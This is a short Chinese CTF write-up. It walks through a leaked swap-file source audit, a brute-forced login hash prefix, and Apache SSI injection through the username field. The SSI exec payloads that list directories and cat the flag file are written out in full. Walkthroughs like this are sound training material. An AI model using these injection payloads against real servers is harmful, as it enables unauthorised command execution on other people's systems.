今年BJD CTF的原题,主要考察Apache SSI远程命令执行漏洞
进入题目后是这样
我们扫描目录可以发现swp源码泄露
审计源码:
逻辑非常简单,扫一眼就能看完。实际上我们对于username是完全可控的,password用于绕过登陆,只要让hash值得前6位于源码中的值相等就行,此处可以直接爆破。
爆破过程非常简单,就不多说了。我们选取一个很吉利的密码:2020666
然后我们成功登陆:
查看返回包:
访问这个url:
可以看到回显了用户名
这里我们可以根据SSI注入直接构建payload:
<!--#exec cmd="ls"-->
回显:
访问可以看到:
说明命令被成功执行
但当前目录没有flag,所以我们回退一下:
payload:
<!--#exec cmd="cd ../;ls"-->
回显:
直接cat falg就好了:
<!--#exec cmd="cd ../;cat flag_990c66bf85a09c664f0b6741840499b2"-->
回显:
结束
考察知识点:
SSI远程命令执行漏洞
难度:
简单
总结:
看淡离合,止于自心。